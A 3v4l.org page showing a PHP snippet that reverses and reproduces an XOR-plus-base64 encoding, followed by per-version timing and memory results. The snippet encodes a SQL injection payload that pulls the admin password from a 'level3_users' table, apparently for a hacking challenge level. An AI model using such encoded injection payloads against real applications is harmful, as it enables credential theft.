3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } echo decrypt("MTI5MTY0MTczMTY5MTc0"); print "\n"; function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo encrypt("Admin' UNION SELECT 1,password,3,4,5,6,7 FROM level3_users WHERE username=0x41646d696e#"); print "\n"; ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0110.00416.63
8.3.50.0100.00822.02
8.3.40.0070.01118.82
8.3.30.0110.00419.22
8.3.20.0040.00420.31
8.3.10.0110.00423.48
8.3.00.0080.00019.75
8.2.180.0040.01116.71
8.2.170.0090.00922.96
8.2.160.0040.01220.35
8.2.150.0080.00024.18
8.2.140.0080.00024.66
8.2.130.0040.00426.16
8.2.120.0100.00322.12
8.2.110.0000.01019.31
8.2.100.0120.00017.84
8.2.90.0000.00819.34
8.2.80.0050.00317.97
8.2.70.0030.00517.88
8.2.60.0040.00418.03
8.2.50.0040.00418.07
8.2.40.0030.00619.91
8.2.30.0040.00418.25
8.2.20.0080.00017.86
8.2.10.0000.00818.18
8.2.00.0040.00417.99
8.1.280.0090.00925.92
8.1.270.0060.00323.88
8.1.260.0090.00026.35
8.1.250.0080.00028.09
8.1.240.0090.00021.03
8.1.230.0070.00417.70
8.1.220.0030.00617.91
8.1.210.0030.00618.77
8.1.200.0040.00717.60
8.1.190.0040.00417.48
8.1.180.0060.00318.10
8.1.170.0040.00418.62
8.1.160.0070.00021.95
8.1.150.0040.00418.87
8.1.140.0080.00017.64
8.1.130.0030.00317.93
8.1.120.0040.00417.64
8.1.110.0080.00017.58
8.1.100.0030.00317.61
8.1.90.0000.00717.56
8.1.80.0050.00317.65
8.1.70.0030.00317.60
8.1.60.0040.00417.77
8.1.50.0060.00317.71
8.1.40.0080.00017.70
8.1.30.0000.00817.68
8.1.20.0000.00817.83
8.1.10.0040.00417.77
8.1.00.0060.00317.56
8.0.300.0060.00318.77
8.0.290.0080.00017.00
8.0.280.0030.00318.50
8.0.270.0050.00317.38
8.0.260.0030.00317.37
8.0.250.0030.00317.15
8.0.240.0030.00617.01
8.0.230.0080.00017.00
8.0.220.0000.00717.02
8.0.210.0070.00016.99
8.0.200.0060.00317.17
8.0.190.0030.00617.14
8.0.180.0050.00317.08
8.0.170.0040.00417.11
8.0.160.0000.00817.06
8.0.150.0040.00416.99
8.0.140.0060.00317.10
8.0.130.0050.00013.51
8.0.120.0080.00017.08
8.0.110.0040.00417.07
8.0.100.0070.00016.94
8.0.90.0080.00017.14
8.0.80.0080.00817.06
8.0.70.0000.00817.14
8.0.60.0040.00416.92
8.0.50.0000.00717.12
8.0.30.0070.01217.26
8.0.20.0090.01317.46
8.0.10.0040.00417.24
8.0.00.0070.01317.10
7.4.330.0070.00015.12
7.4.320.0000.00616.81
7.4.300.0030.00316.68
7.4.290.0030.00316.67
7.4.280.0080.00316.89
7.4.270.0030.00316.75
7.4.260.0000.00716.76
7.4.250.0050.00316.82
7.4.240.0070.00016.78
7.4.230.0070.00016.89
7.4.220.0130.00716.78
7.4.210.0070.00816.84
7.4.200.0030.00516.65
7.4.190.0070.00016.95
7.4.160.0130.00316.83
7.4.150.0150.00917.40
7.4.140.0120.00517.86
7.4.130.0030.01716.81
7.4.120.0070.01016.88
7.4.110.0110.00716.64
7.4.100.0070.01016.58
7.4.90.0120.00516.82
7.4.80.0060.01519.39
7.4.70.0080.00916.85
7.4.60.0120.00616.64
7.4.50.0080.00016.52
7.4.40.0090.00916.70
7.4.30.0120.00416.75
7.4.00.0120.00314.88
7.3.330.0050.00313.56
7.3.320.0030.00313.56
7.3.310.0070.00016.40
7.3.300.0030.00316.42
7.3.290.0120.00816.50
7.3.280.0070.00816.57
7.3.270.0090.00917.40
7.3.260.0150.00716.50
7.3.250.0130.00516.66
7.3.240.0070.01016.91
7.3.230.0120.00516.45
7.3.210.0040.01216.49
7.3.200.0200.00319.39
7.3.190.0190.00016.93
7.3.180.0110.00516.64
7.3.170.0160.00416.60
7.3.160.0030.01316.52
7.3.120.0040.01215.30
7.3.10.0100.00716.57
7.3.00.0060.00316.70
7.2.330.0120.01217.05
7.2.320.0110.01516.95
7.2.310.0150.00317.02
7.2.300.0000.01616.89
7.2.290.0090.00917.10
7.2.130.0070.00716.99
7.2.120.0100.00316.73
7.2.110.0150.00616.78
7.2.100.0040.01117.08
7.2.90.0030.01417.07
7.2.80.0120.00317.08
7.2.70.0000.01316.87
7.2.60.0130.00616.93
7.2.50.0070.00317.23
7.2.40.0090.00617.10
7.2.30.0080.00416.93
7.2.20.0100.00716.97
7.2.10.0060.00917.05
7.2.00.0080.01018.46
7.1.250.0100.00615.80
7.1.100.0080.00618.52
7.1.70.0040.00417.39
7.1.60.0040.00717.54
7.1.50.0170.01417.09
7.1.00.0070.07322.59
7.0.200.0090.00616.86
7.0.140.0070.07021.92
7.0.80.0070.05019.93
7.0.70.0100.04720.05
7.0.60.0130.07719.98
7.0.50.0570.08320.23
7.0.40.0100.07720.11
7.0.30.0070.05720.11
7.0.20.0100.07720.13
7.0.10.0130.08020.17
7.0.00.0130.08320.13
5.6.280.0030.09021.07
5.6.230.0000.04720.66
5.6.220.0030.04320.65
5.6.210.0130.06320.61
5.6.200.0100.08021.03
5.6.190.0070.08321.11
5.6.180.0130.07721.11
5.6.170.0200.07321.10
5.6.160.0130.07721.07
5.6.150.0170.07321.03
5.6.140.0100.07021.09
5.6.130.0100.08021.14
5.6.120.0130.06721.09
5.6.110.0130.08021.00
5.6.100.0070.05321.16
5.6.90.0070.08320.95
5.6.80.0070.08320.41
5.6.70.0070.06720.40
5.6.60.0130.04020.42
5.6.50.0030.08320.41
5.6.40.0070.04020.48
5.6.30.0100.03720.45
5.6.20.0030.03320.39
5.6.10.0030.04020.32
5.6.00.0070.03720.36
5.5.370.0030.05020.52
5.5.360.0130.07020.54
5.5.350.0070.08020.44
5.5.340.0100.07320.93
5.5.330.0100.07320.65
5.5.320.0100.08020.82
5.5.310.0030.08720.63
5.5.300.0030.05320.89
5.5.290.0030.05320.81
5.5.280.0130.07320.84
5.5.270.0070.07720.91
5.5.260.0000.06720.88
5.5.250.0000.06720.71
5.5.240.0000.07320.27
5.5.230.0100.06020.16
5.5.220.0170.04720.18
5.5.210.0070.06320.18
5.5.200.0030.04020.26
5.5.190.0100.06720.26
5.5.180.0070.07020.28
5.5.160.0000.04320.25
5.5.150.0030.05320.00
5.5.140.0130.06320.24
5.5.130.0100.03320.25
5.5.120.0100.04720.18
5.5.110.0070.07320.18
5.5.100.0030.03320.17
5.5.90.0000.03720.02
5.5.80.0070.03020.18
5.5.70.0000.04320.15
5.5.60.0030.04020.01
5.5.50.0070.04320.16
5.5.40.0000.04020.06
5.5.30.0030.04020.04
5.5.20.0000.03720.09
5.5.10.0030.04719.99
5.5.00.0030.03720.06
5.4.450.0000.05319.19
5.4.440.0000.05719.23
5.4.430.0070.07719.53
5.4.420.0070.07719.52
5.4.410.0070.08319.25
5.4.400.0130.04319.05
5.4.390.0070.04719.05
5.4.380.0130.03019.16
5.4.370.0000.07319.16
5.4.360.0130.03718.90
5.4.350.0030.03719.13
5.4.340.0000.03718.91
5.4.320.0030.04319.14
5.4.310.0000.04019.18
5.4.300.0070.07719.22
5.4.290.0100.06718.90
5.4.280.0130.06019.03
5.4.270.0100.04319.03
5.4.260.0000.07319.20
5.4.250.0130.05019.18
5.4.240.0030.06019.20
5.4.230.0030.03319.08
5.4.220.0070.03319.09
5.4.210.0070.04319.11
5.4.200.0000.04018.84
5.4.190.0070.03719.11
5.4.180.0000.04019.17
5.4.170.0070.03719.20
5.4.160.0130.02319.21
5.4.150.0130.02719.19
5.4.140.0000.06716.48
5.4.130.0000.03716.46
5.4.120.0030.03716.38
5.4.110.0100.03016.50
5.4.100.0000.04016.44
5.4.90.0070.03316.54
5.4.80.0030.06016.55
5.4.70.0000.03716.51
5.4.60.0030.03316.37
5.4.50.0030.03316.29
5.4.40.0030.03316.42
5.4.30.0000.03716.25
5.4.20.0000.03716.45
5.4.10.0030.03716.45
5.4.00.0030.04015.89
5.3.290.0070.03314.74
5.3.280.0000.04014.55
5.3.270.0000.04014.56
5.3.260.0000.04014.57
5.3.250.0030.04014.75
5.3.240.0030.03014.60
5.3.230.0000.04314.60
5.3.220.0070.03014.50
5.3.210.0130.05014.71
5.3.200.0030.03714.64
5.3.190.0000.04014.64
5.3.180.0000.04014.50
5.3.170.0100.03014.51
5.3.160.0000.04014.69
5.3.150.0170.02714.60
5.3.140.0030.04314.62
5.3.130.0030.03714.56
5.3.120.0000.04014.61
5.3.110.0000.04014.65
5.3.100.0100.03014.17
5.3.90.0030.04714.09
5.3.80.0000.04714.13
5.3.70.0070.03314.08
5.3.60.0100.05314.07
5.3.50.0030.03313.89
5.3.40.0100.07313.88
5.3.30.0070.07313.95
5.3.20.0070.06713.76
5.3.10.0170.06713.68
5.3.00.0030.07313.71
5.2.170.0030.06311.64
5.2.160.0030.06011.64
5.2.150.0030.04711.64
5.2.140.0000.07011.64
5.2.130.0030.05311.64
5.2.120.0030.06711.64
5.2.110.0000.07011.64
5.2.100.0000.07011.64
5.2.90.0130.05711.64
5.2.80.0000.07011.64
5.2.70.0030.04011.64
5.2.60.0030.06011.64
5.2.50.0030.05311.64
5.2.40.0130.03011.64
5.2.30.0030.06011.64
5.2.20.0030.05011.64
5.2.10.0130.05011.64
5.2.00.0130.05711.64
5.1.60.0070.05311.64
5.1.50.0030.05711.64
5.1.40.0070.04311.64
5.1.30.0030.06311.64
5.1.20.0100.03311.64
5.1.10.0070.05711.64
5.1.00.0070.03011.64
5.0.50.0030.04311.64
5.0.40.0030.03311.64
5.0.30.0030.06311.64
5.0.20.0000.03311.64
5.0.10.0070.04311.64
5.0.00.0030.05011.64
4.4.90.0070.02311.64
4.4.80.0030.02311.64
4.4.70.0070.03311.64
4.4.60.0000.03011.64
4.4.50.0030.02011.64
4.4.40.0100.04711.64
4.4.30.0070.03311.64
4.4.20.0030.03711.64
4.4.10.0030.03011.64
4.4.00.0000.03711.64
4.3.110.0100.02711.64
4.3.100.0070.02711.64
4.3.90.0030.03011.64
4.3.80.0000.03711.64
4.3.70.0000.02011.64
4.3.60.0000.04011.64
4.3.50.0000.02011.64
4.3.40.0100.04011.64
4.3.30.0000.03011.64
4.3.20.0030.02011.64
4.3.10.0000.02311.64
4.3.00.0000.01711.64

preferences:
48.41 ms | 401 KiB | 5 Q